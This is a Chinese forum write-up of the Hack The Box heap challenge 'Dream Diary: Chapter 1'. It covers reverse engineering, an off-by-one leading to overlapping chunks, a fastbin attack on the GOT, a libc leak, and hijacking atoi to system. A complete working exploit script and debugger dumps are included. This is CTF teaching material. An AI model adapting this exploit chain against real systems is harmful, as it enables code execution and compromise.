[HTB]Dream Diary: Chapter 1

查看 43|回复 3
作者:kn0sky   
前言
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第1天,希望能坚持下去

题目情况
Hint: Xenial Xerus
这是ubuntu16.04lts的代号,意味着适用2.23的libc
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
逆向分析
菜单题:
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int choose; // eax
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF
  buf[1] = __readfsqword(0x28u);
  buf[0] = 0LL;
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4uLL);
      choose = atoi((const char *)buf);
      if ( choose != 2 )
        break;
      edit(buf, buf);                           // 2
    }
    if ( choose > 2 )
    {
      if ( choose == 3 )
      {
        del(buf, buf);                          // 3
      }
      else
      {
        if ( choose == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice!");
      }
    }
    else
    {
      if ( choose != 1 )
        goto LABEL_13;
      add(buf, buf);                            // 1
    }
  }
}
运行起来是这样的菜单:
+------------------------------+
|         Dream Diary          |
+------------------------------+
| [1] Allocate                 |
| [2] Edit                     |
| [3] Delete                   |
| [4] Exit                     |
+------------------------------+
>>
选项1:Allocate
unsigned __int64 sub_4009A8()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  *(_QWORD *)nptr = 0LL;
  for ( i = 0; ; ++i )
  {
    if ( i > 15 )                               // 最多15个
    {
      puts("Too many notes!");
      return __readfsqword(0x28u) ^ v4;
    }
    if ( !(&ptr) )
      break;
  }
  printf("\nSize: ");
  read_(nptr, 6LL);
  size = atoi(nptr);
  (&ptr) = (char *)malloc(size);             // 申请内存
  if ( !(&ptr) )
  {
    puts("Malloc error!");
    exit(-1);
  }
  printf("Data: ");
  read_((&ptr), size);                       // 写入数据,无溢出
  puts("Success!");
  return __readfsqword(0x28u) ^ v4;
}
申请内存,指定大小,填充数据,无溢出
选项2:edit:
unsigned __int64 edit()
{
  unsigned int v1; // [rsp+4h] [rbp-1Ch]
  size_t v2; // [rsp+8h] [rbp-18h]
  __int64 buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  buf = 0LL;
  printf("Index: ");
  read(0, &buf, 4uLL);
  v1 = atoi((const char *)&buf);
  if ( v1
编辑操作使用的长度来自strlen的结果,假定数据是满的,strlen会计算到next chunk size字段,导致1字节溢出
选项3:del:
unsigned __int64 del()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  buf = 0LL;
  printf("Index: ");
  read(0, &buf, 4uLL);
  v1 = atoi((const char *)&buf);
  if ( v1
这里会清空指针,没有UAF和Double-free了
利用分析
当前状况分析:
  • 程序使用 libc 2.23,存在Hook可以打
  • 问题是 off by one,可以通过某种 off by one 的技巧创造出重叠 chunk(方法不唯一)
  • 程序没有PIE,指针数组地址已知
  • 没有FULL RELRO,got可改
  • 没有输出函数,无法得到地址泄露

    计划制定
    第一步:指针数组位于0x0000000006020c0,上面就是got表,存在fake fastbin chunk 的条件,申请走fake fastbin chunk,从而控制指针数组
    pwndbg> dq 0x602010 30
    0000000000602010     00007ff9258de150 00007ff9257aa31a
    0000000000602020     00007ff92579926f 00007ff9257af1e0
    0000000000602030     0000000000400706 00007ff925780914
    0000000000602040     00007ff9258084c0 00007ff9257532e1
    0000000000602050     00007ff9257a9cd3 00007ff9257999c5
    0000000000602060     00007ff925765fcb 0000000000400776
    0000000000602070     0000000000000000 0000000000000000
    0000000000602080     00007ff9258c3620 0000000000000000
    0000000000602090     00007ff9258c28e0 0000000000000000
    00000000006020a0     00007ff9258c3540 0000000000000000
    00000000006020b0     0000000000000000 0000000000000000
    00000000006020c0     0000000002458010 0000000000000000
    00000000006020d0     0000000000000000 0000000002458180
    00000000006020e0     0000000000000000 0000000000000000
    00000000006020f0     0000000000000000 0000000000000000
    fake chunk:
    Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
    Addr: 0x60209d
    prev_size: 0xf9258c3540000000
    size: 0x78 (with flag bits: 0x7f)
    fd: 0x00
    bk: 0x00
    fd_nextsize: 0x2458010000000
    bk_nextsize: 0x00
    打hook需要完成libc地址泄露,got可修改这个条件就可以用上了,能控制指针数组,就能任意地址写,那么就暂时不需要free了
    第二步,打got,将free改成puts先用用
    指针数组是可控的,那这随便就泄露出libc地址了,接下来就是打hook环节
    第三步:打hook,drop shell
    辅助函数
    def cmd(i, prompt=b">> "):
        sla(prompt, i)
    def add(sz:int, data:bytes):
        global index , i
        cmd('1')
        sla(b"Size: ",str(sz).encode())
        sla(b"Data: ",data)
        #......
    def edit(idx:int, data:bytes):
        cmd('2')
        sla(b"Index: ",str(idx).encode())
        sla(b"Data: ",data)
        #......
    def dele(idx: int):
        cmd('3')
        sla(b"Index: ",str(idx).encode())
        #......
    def exit():
        cmd('4')
        #......
    house of spirit:创造重叠块
    add(0x78,cyclic(0x78))  #0
    add(0x78,cyclic(0x78))  #1
    add(0x68,cyclic(0x68))  #2
    add(0x18,cyclic(0x18))  #3
    edit(0,cyclic(0x78) + p8(0xf1))
    dele(1)
    dele(2)
    默认最大的fastbin chunk是0x68申请出来的,0x78申请出来的会进入unsortedbin
    这里申请4个chunk,其中chunk0溢出1字节,将chunk1的大小修改为能刚好覆盖chunk2,chunk3用于分隔top chunk
    此时的堆:
    pwndbg> vis
    pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
    This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
    0x11a6000       0x0000000000000000      0x0000000000000081      ................
    0x11a6010       0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
    0x11a6020       0x6161616661616165      0x6161616861616167      eaaafaaagaaahaaa
    0x11a6030       0x6161616a61616169      0x6161616c6161616b      iaaajaaakaaalaaa
    0x11a6040       0x6161616e6161616d      0x616161706161616f      maaanaaaoaaapaaa
    0x11a6050       0x6161617261616171      0x6161617461616173      qaaaraaasaaataaa
    0x11a6060       0x6161617661616175      0x6161617861616177      uaaavaaawaaaxaaa
    0x11a6070       0x6261617a61616179      0x6261616362616162      yaaazaabbaabcaab
    0x11a6080       0x6261616562616164      0x00000000000000f1      daabeaab........         
    得到一个被unsortedbin chunk覆盖的fastbin chunk
    hijack ptr array & leak libc address
    接下来,修改fd指向got那里创造出来的fake chunk
    ptr = flat(
        cyclic(0x8),
        pack(elf.got.free),
        pack(elf.got.puts),
        pack(0x6020c0)
    )
    add(0xe8,cyclic(0x78) + pack(0x71) + pack(0x60209d))    # 1
    add(0x68,cyclic(0x68))   # 2
    add(0x68,p8(0)*0x13 + ptr)  # 4
    edit(1,pack(elf.plt.puts))
    dele(2)
    leak = ru(b"\x0aDone!")
    leak = unpack(leak[:-6],"all")
    success(f"leak: {hex(leak)}")
    libc.address = leak - libc.sym.puts
    success(f"libc.address: {hex(libc.address)}")
    申请一个0xe8把unsortedbin 完整申请走,向fastbin chunk.next写入fake chunk address
    申请走之后,覆盖ptr指针数组
    这里前8字节写入杂乱数据,是为了保留这个区域可以再次被修改,因为edit选项是基于对目标地址strlen获取长度来写入数据的
    然后要保留一份方便再次修改的该数组
    修改elf.got.free为elf.plt.puts,拿到libc地址泄露
    drop shell
    # drop shell
    ptr = flat(
        pack(elf.got.atoi),
    )
    edit(3,ptr)
    edit(0,pack(libc.sym.system))
    cmd(b"sh")
    最后drop shell的方法有很多,最简单的方法就是直接通过elf.got来劫持函数执行
    有了libc地址泄露,可以劫持atoi为system,然后在输入选项的时候,输入bash字符即可(因为调用atoi之前的read函数接受6个字符的输入)
    或者使用one_gadget也行,或者打io也行不过就比较麻烦了
    完整exp
    #!/usr/bin/env python3
    # Date: 2024-10-23 21:58:41
    # Link: https://github.com/RoderickChan/pwncli
    # Usage:
    #     Debug : python3 exp.py debug elf-file-path -t -b malloc
    #     Remote: python3 exp.py remote elf-file-path ip:port
    from pwncli import *
    cli_script()
    io: tube = gift.io
    elf: ELF = gift.elf
    libc: ELF = gift.libc
    # one_gadgets: list = get_current_one_gadget_from_libc(more=False)
    # CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
    def cmd(i, prompt=b">> "):
        sla(prompt, i)
    def add(sz:int, data:bytes):
        global index , i
        cmd('1')
        sla(b"Size: ",str(sz).encode())
        sla(b"Data: ",data)
        #......
    def edit(idx:int, data:bytes):
        cmd('2')
        sla(b"Index: ",str(idx).encode())
        sla(b"Data: ",data)
        #......
    def dele(idx: int):
        cmd('3')
        sla(b"Index: ",str(idx).encode())
        #......
    def exit():
        cmd('4')
        #......
    # house of spirit
    add(0x78,cyclic(0x78))  #0
    add(0x78,cyclic(0x78))  #1
    add(0x68,cyclic(0x68))  #2
    add(0x18,cyclic(0x18))  #3
    edit(0,cyclic(0x78) + p8(0xf1))
    dele(1)
    dele(2)
    # fastbin attack
    ptr = flat(
        cyclic(0x8),
        pack(elf.got.free),
        pack(elf.got.puts),
        pack(0x6020c0)
    )
    add(0xe8,cyclic(0x78) + pack(0x71) + pack(0x60209d))    # 1
    add(0x68,cyclic(0x68))   # 2
    add(0x68,p8(0)*0x13 + ptr)  # 4
    # edit free to puts & leak libc
    edit(1,pack(elf.plt.puts))
    dele(2)
    leak = ru(b"\x0aDone!")
    leak = unpack(leak[:-6],"all")
    success(f"leak: {hex(leak)}")
    libc.address = leak - libc.sym.puts
    success(f"libc.address: {hex(libc.address)}")
    # drop shell
    ptr = flat(
        pack(elf.got.atoi),
    )
    edit(3,ptr)
    edit(0,pack(libc.sym.system))
    cmd(b"sh")
    ia()
    总结
    本练习相关的知识:

  • off by one 创造重叠块
  • house of spirit
  • Fastbin Attack
  • Hijack Elf GOT

    参考资料
  • [0] Hack The Box :: Hack The Box
  • [1] 原文链接:https://www.kn0sky.com/?p=d2d9cb66-0d9a-476d-bba1-c4fbe1b4b999

    指针, 数组

  • xixicoco   

    跟着大佬一起练习
    qwer8633   

    感谢分享,学习一下。
    xucs   

    感谢分享,学习一下。
    您需要登录后才可以回帖 登录 | 立即注册